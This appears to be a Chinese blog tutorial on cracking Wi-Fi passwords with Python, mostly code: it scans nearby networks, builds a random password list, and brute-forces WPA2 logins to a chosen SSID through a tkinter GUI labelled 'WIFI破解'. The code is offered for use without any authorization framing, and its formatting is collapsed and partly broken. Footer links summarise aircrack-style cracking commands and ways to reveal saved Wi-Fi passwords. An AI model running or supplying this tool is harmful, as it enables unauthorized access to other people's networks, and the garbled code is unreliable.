python破解wifi密码

article/2025/9/2 15:50:37

第一步:判断自己笔记本电脑是否有无线网卡

import pywifi
from pywifi import const                  #引入一些常量
#判断是否有无线网卡
def gic():wifi = pywifi.PyWiFi()                #创建一个无线对象#print(wifi)ifaces = wifi.interfaces()[0]          #获取无线网卡,一般是电脑的第一块网卡print(ifaces)                          #输出自己的网卡信息print(ifaces.status())                 #判断自己的网卡是否处于连接状态if ifaces.status() == const.IFACE_DISCONNECTED:print("已连接")else:print("未连接")#程序入口
if __name__ == "__main__":#函数调用gic()

执行结果:

在这里插入图片描述

第二步:扫描附件的wifi

import pywifi
from pywifi import const    
#扫描附件的wifi
def bies():wifi = pywifi.PyWiFi())                 #创建一个无线对象iface = wifi.interfaces()[0]            #获取无线网卡,一般是电脑的第一块网卡res = iface.scan_results()              #扫描附近wifi#print(res)                                 for data in res:print(data.ssid)                    #获取扫描之后的结果#程序入口
if __name__ == "__main__":#函数调用bies()

执行结果:

在这里插入图片描述

第三步:创建简单窗口

#创建窗口
root = Tk()#窗口的标题
root.title("WIFI破解")
#窗口的大小  小写的x  #窗口的位置
root.geometry('500x400+550+260')#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置  定位 网格布局  pack 包  place 位置
label.grid()#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)#按钮
#button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)
button = Button(root,text = '开始破解',width = 20,height=2)
button.grid(row = 2,columnspan = 2)#显示窗口  消息循环
root.mainloop()

执行结果:

在这里插入图片描述

第四步:密码字典生成

import string as st  #导入字符
import random  #导入随机函数
passwordrange = st.digits + st.ascii_letters # 生成字符串
#定义函数
def ran_pass(num):letter = ""for i in range(num):letter += random.choice(passwordrange)return letter
def wri_pass(passwd):path = r"I:\pythonfile\0918\wifipwd.txt"with open(path,"a") as des_file:des_file.write(passwd+"\n")
if __name__ == "__main__":for i in range(10):passwd = ran_pass(8)#调用函数随机生成8位密码print(passwd)wri_pass(passwd)

执行结果:

在这里插入图片描述

第五步:读取密码本

def readPwd():#获取wifi名称path = r"I:\pythonfile\0918\wifipwd.txt"file = open(path,"r")while True:try:mystr = file.readline()      #读取密码本if mystr == "":              #读取到最后一行,结束读取breakelse:print(mystr) except:#跳出当前循环,继续下一次循环continue
if __name__ == "__main__":readPwd()

执行结果:

在这里插入图片描述

第六步:密码破解

import pywifi
from pywifi import const
import pywifi
import time
def wificonnect(str):                                      #str传入密码本wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]#print(ifaces.name())ifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:profile = pywifi.Profile()profile.ssid = "wcp"                                #wifi名称profile.akm.append(const.AKM_TYPE_WPA2PSK)          #WiFi使用的加密算法profile.key = str                                   #wifi的密码 profile.auth = const.AUTH_ALG_OPEN                  #网卡的开发ifaces.remove_all_network_profiles()                #删除所有的wifi文件tmp_profile = ifaces.add_network_profile(profile)   #设定新的连接文件ifaces.connect(tmp_profile)time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已经连接")        

执行结果:

在这里插入图片描述

完整代码过程

from tkinter import *
import pywifi
from pywifi import const
import pywifi
import time#导入模块
#获取第一个无线网卡
#断开所有的wifi
#读取密码本
#设置睡眠时间#测试连接函数
def wificonnect(str,wifiname):wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]#print(ifaces.name())ifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:profile = pywifi.Profile()profile.ssid = wifinameprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密算法#wifi的密码profile.key = str#网卡的开发profile.auth = const.AUTH_ALG_OPEN#删除所有的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tmp_profile = ifaces.add_network_profile(profile)ifaces.connect(tmp_profile)time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已经连接")def readPwd():#获取wifi名称wifiname = entry.get()            #获取文本框输入的WiFi账号#print(wifiname)path = r"I:\pythonfile\0918\wifipwd.txt"file = open(path,"r")while True:try:#读取密码本mystr = file.readline()#print(mystr)if mystr == "":breakelse:#print(mystr)#测试链接bool = wificonnect(mystr,wifiname)    # 调用账号和密码匹配函数if mystr == const.IFACE_CONNECTED:bool = Trueif bool:#print("密码正确",mystr)text.insert(END,"密码正确"+mystr)text.see(END)text.update()else:#print("密码错误",mystr)text.insert(END,"密码错误"+mystr)text.see(END)text.update()except:#跳出当前循环,继续下一次循环continue#创建窗口
root = Tk()#窗口的标题
root.title("WIFI破解")
#窗口的大小  小写的x  #窗口的位置
root.geometry('500x400+550+260')#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置  定位 网格布局  pack 包  place 位置
label.grid()#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)#按钮
button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)   #   点击按钮触发事件
button.grid(row = 2,columnspan = 2)#显示窗口  消息循环
root.mainloop()

执行结果:

在这里插入图片描述


  • 灯塔
  • 风声吹动风声,叹息穿过叹息----
  • 当船队侧身而过,灯塔恋恋不舍,
  • 在茫茫黑夜里,在荒凉的瀚海中。
  • 血养荆棘,花开似锦。

http://chatgpt.dhexx.cn/article/4FtThYj9.shtml

相关文章

WIFI密码破解

第一步插上无线网卡并查看接口 ifconfig第二步启动无线网卡 airmon-ng start wlan0我们通过这条命令,查看到了存在一个wlan0mon的网卡接口,看到这个,我们的网卡也就算启动成功了。 第三步 扫描WIFI airodump-ng wlan0mon找到目标网络就开…

Dos命令查看wifi密码

1.按下winR键,并在弹出的窗口输入框输入“cmd”,然后点击确认。 2.在黑白框(命令行窗口)输入命令便可以查看我们连接过的WIFI名称 netsh wlan show profiles3.输入netsh wlan show profiles (要查询的wifi名称&#…

电脑连接上WIFI后,如何查看WIFI密码?

1.控制面板——网络和Internet 2.点击网络和共享中心 3.点击WiFi 4.点击无线属性 5.点击安全 6.勾选显示字符即可查看到WiFi密码

kali破解wifi密码

由cap后缀知道用wireshark打开 由802.11 就是wifi 想到局域网啊,然后就是 eapol 协议 在wireshark过滤一下 什么都没找到 刚想到 flag格式:flag{你破解的WiFi密码} tips:密码为手机号,为了不为难你,大佬特地让我悄悄…

android+6+wifi密码,Android 如何查看Wifi密码

Android 如何查看Wifi密码 前言: 在Android手机中,连接了Wifi之后,密码一般就看不到了,那有没有什么办法可以查看到这些密码呢?办法一般有两种,一种是通过查看wifi的配置文件,一种是使用命令。对于第一种,网上已经有很多了,大致就是先root,然后使用一些手机助手或者手…

C++ 查看本机WiFi密码

/*查看本机WiFi密码时间&#xff1a;2020年5月7日11:24:26 */ #include <iostream> #include <string> #include <cstdlib> #include <cstdio> using namespace std; class Wifi{private:string name;public:Wifi(string _name):name(_name){}string …

电脑WIFI密码获取

电脑WIFI密码获取 提醒&#xff1a;本文提供的两种wifi密码获取方式是基于笔记本或台式电脑本身曾经连接过的某个wifi热点&#xff0c;并不能实现未连接wifi的密码窃取&#xff0c;简单来说本文提供的是正经且合法的方式&#xff0c;要是教你偷偷去获取隔壁邻居家的wifi密码&a…

Wifi密码

1076 Wifi密码 &#xff08;15 分) 下面是微博上流传的一张照片&#xff1a;“各位亲爱的同学们&#xff0c;鉴于大家有时需要使用 wifi&#xff0c;又怕耽误亲们的学习&#xff0c;现将 wifi 密码设置为下列数学题答案&#xff1a;A-1&#xff1b;B-2&#xff1b;C-3&#xf…

路由器WIFI密码怎么设置?快速设置,只需1分钟

无线网络在我们日常生活中随处可见&#xff0c;很多人家里都是使用无线WiFi连接网络&#xff0c;进行上网。不过也有不少的小伙伴表示&#xff0c;因为家里WiFi密码泄露&#xff0c;想要更改WiFi密码的。那么路由器WiFi密码怎么设置&#xff1f;今天小编分享一个方法&#xff0…

查看 WiFi 密码的两种方法

查看 WiFi 密码的两种方法 1. 概述2. 在控制面板中查看 WiFi 密码3. 使用 CMD 查看 WiFi 密码结束语 1. 概述 突然忘记 WiFi 密码怎么办&#xff1f; 想连上某个使用过的 WiFi&#xff0c;但有不知道 WiFi 密码怎么办&#xff1f; 使用电脑如何查询 WiFi 密码&#xff1f; 以下…

路由器WiFi密码怎么设置?这样做可以快速设置!

案例&#xff1a;我在外面租房&#xff0c;买了一个路由器&#xff0c;为了不让别人使用&#xff0c;我想设置一个密码。但我不知道如何操作。路由器怎么设置密码&#xff1f;求方法分享&#xff01; 如今&#xff0c;Wi-Fi已成为日常生活中不可或缺的一部分。为了保障个人和家…

中国家用Wifi常见密码TOP10排行榜,你上榜了吗?

09月11日报道&#xff1a;昨日&#xff0c;一位程序员利用一个Telnet Wifi扫描脚本&#xff0c;经过两三天的扫描&#xff0c;积累了9万余条Wifi密码数据。遂针对扫描到的数据做一次简单的分析&#xff0c;得到了中国家用Wifi常见密码TOP10 的排行。在整个扫描期间&#xff0c;…

查WiFi密码的三种方法

极其易懂法&#xff0c;只能查正在链接WiFi 1&#xff0c;按住快捷键WinR&#xff0c;打开运行&#xff0c;输入control打开控制面板。 在控制面板中点击查看网络和internet&#xff0c;进入后点击&#xff1a;查看网络状态和任务。 打开后找到自己链接的无线&#xff0c;单击无…

用Python脚本能获取Wifi密码么?能。

注意&#xff0c;本文不是破解 WIFI 密码&#xff0c;当然你把程序发给别人再获取对方密码&#xff0c;那是社会工程学。 文章目录 ⛳️ 实战场景与 subprocess 模块介绍⛳️ Python 获取本地 Wifi 密码 ⛳️ 实战场景与 subprocess 模块介绍 这篇博客给大家带来一个小小的案例…

网络安全应急响应-常用工具

网络安全应急响应专题文章&#xff1a; 1. 网络安全应急响应-日志分析技术 2. 网络安全应急响应-流量分析技术 3. 网络安全应急响应-恶意代码分析技术 4. 网络安全应急响应-终端检测与响应技术 5. 网络安全应急响应-电子数据取证技术 6. 网络安全应急响应-常用工具 7. 网…

开源软件安全检查工具

0x00 安全要求 为了有效发现开源软件存在的安全问题&#xff0c;避免带病上线&#xff0c;在投入使用或发布上线时&#xff0c;需要遵循以下要求&#xff1a; 开源软件投入使用或者集成到系统进行部署发布前&#xff0c;须提交开源软件的安全检测报告&#xff0c;若报告里面存…

Xray安全评估工具使用

xray 是一款功能强大的安全评估工具&#xff0c;主要特性有: 检测速度快。发包速度快; 漏洞检测算法高效。支持范围广。大至 OWASP Top 10 通用漏洞检测&#xff0c;小至各种 CMS 框架 POC&#xff0c;均可以支持。高级可定制。通过配置文件暴露了引擎的各种参数&#xff0c;通…

15个适用于Linux的最佳安全工具

面对现今互联网各类病毒和攻击的层出不穷&#xff0c;即使是Linux也不能幸免。本文我将为大家介绍15款Linux安全工具并附下载链接&#xff1a; 1. Firejail Firejail是一个基于c的社区SUID项目&#xff0c;通过管理使用Linux命名空间和seccomp-bpf的应用程序所用的访问权&…

web安全工具 御剑后台扫描layer子域名挖掘机

先使用御剑对某学校官网扫一下 御剑这个工具主要用于扫描网站后台登陆界面 扫描结果分析&#xff1a;HTTP响应为200说明该域名允许被访问 没有找到login、或者可疑的后台管理域名界面 index.html通常为html头部文件可测试访问 Layer子域名挖掘机软件特性 Layer子域名挖掘机…

网络安全工具使用集锦手册

如果想跟我一起讨论的话,就快加入我的知识星球吧。星球里有一千多位同样爱好安全技术的小伙伴一起交流! 常用工具: Nmap使用详解Sqlmap使用详解Metasploit Framework(MSF)的使用MSF中kiwi模块的使用MSF中mimikatz模块的使用Msfvenonm生成后门木马